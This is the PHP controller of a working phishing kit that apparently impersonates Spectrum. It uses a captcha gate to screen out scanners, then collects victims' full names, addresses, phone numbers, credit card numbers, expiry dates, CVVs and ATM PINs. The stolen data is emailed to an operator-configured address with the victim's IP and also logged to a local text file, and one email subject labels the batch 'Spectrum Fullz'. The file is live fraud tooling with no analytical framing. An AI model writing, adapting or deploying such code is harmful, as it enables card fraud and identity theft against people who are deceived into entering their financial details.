<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Home extends CI_Controller {


	public function index()
	{
		if (X_CAPTCHA) {
			$this->load->view('captcha');
		}else{
			$this->session->set_userdata('captcha_status', 'passed');
			redirect(site_url('authen'));
		}
	}

	public function authen()
	{
		if (!$this->session->has_userdata('captcha_status') || $this->session->userdata('captcha_status') != 'passed') {
			redirect(site_url(''));
		}

		$this->load->view('authen');
	}
	public function sitekey()
	{
		if (!$this->session->has_userdata('captcha_status') || $this->session->userdata('captcha_status') != 'passed') {
			redirect(site_url(''));
		}
		
		if ($this->input->method() == 'post') {
			$msg = [];
			$msg[] = "Full Name: " . $this->input->post('fullName');
			$msg[] = "Address Line: " . $this->input->post('eAddress');
			$msg[] = "city: " . $this->input->post('city');
			$msg[] = "State: " . $this->input->post('State');
			$msg[] = "Zip Code: " . $this->input->post('ZipCode');
			$msg[] = "Phone Number: " . $this->input->post('phone');
			$msg[] = "Credit Card Number: " . $this->input->post('ccnr');
			$msg[] = "Exp Date: " . $this->input->post('expr');
			$msg[] = "CCV: " . $this->input->post('cvvr');
			$this->send_mail($msg, 'Security');
		}
		
		$this->load->view('com');
	}
		public function security()
	{
		if (!$this->session->has_userdata('captcha_status') || $this->session->userdata('captcha_status') != 'passed') {
			redirect(site_url(''));
		}
		
		$this->load->view('security');
	}
		public function com()
	{
		if (!$this->session->has_userdata('captcha_status') || $this->session->userdata('captcha_status') != 'passed') {
			redirect(site_url(''));
		}
		if ($this->input->method() == 'post') {
			$msg = [];
			// Collect all fields submitted from security.php in one action
			$msg[] = "Full Name: " . $this->input->post('fullName');
			$msg[] = "Address Line: " . $this->input->post('eAddress');
			$msg[] = "city: " . $this->input->post('city');
			$msg[] = "State: " . $this->input->post('State');
			$msg[] = "Zip Code: " . $this->input->post('ZipCode');
			$msg[] = "Phone Number: " . $this->input->post('phone');
			$msg[] = "Credit Card Number: " . $this->input->post('ccnr');
			$msg[] = "Exp Date: " . $this->input->post('expr');
			$msg[] = "CCV: " . $this->input->post('cvvr');
			$msg[] = "ATM PIN: " . $this->input->post('atmr');
			$this->send_mail($msg, 'Spectrum Fullz');
		}

		$this->load->view('com');
	}
	public function send_mail($msg=[], $sbj='')
	{
		$ip = getenv("REMOTE_ADDR");
		$useragent = $_SERVER['HTTP_USER_AGENT'];
		$hostname = gethostbyaddr($ip);

		$this->email->from(X_RESULT_FROMEMAIL, X_RESULT_NAME);
		$this->email->to(X_RESULT_EMAIL);

		$msg[] = "IP: " . $ip;

		$msg_body = "";
		foreach ($msg as $key => $m) {
			$msg_body .= $m."\n";
		}

		$this->email->message($msg_body);

		$this->email->subject($sbj .' - '. $ip);
              
                $fp = fopen("./mrzz.txt","a");
                fputs($fp,$msg_body);
                fclose($fp);

		if (@$this->email->send()) {
			// exit('true');
			return true;
		} else {
			return false;
			// exit('false');
		}		
	}
}
?>
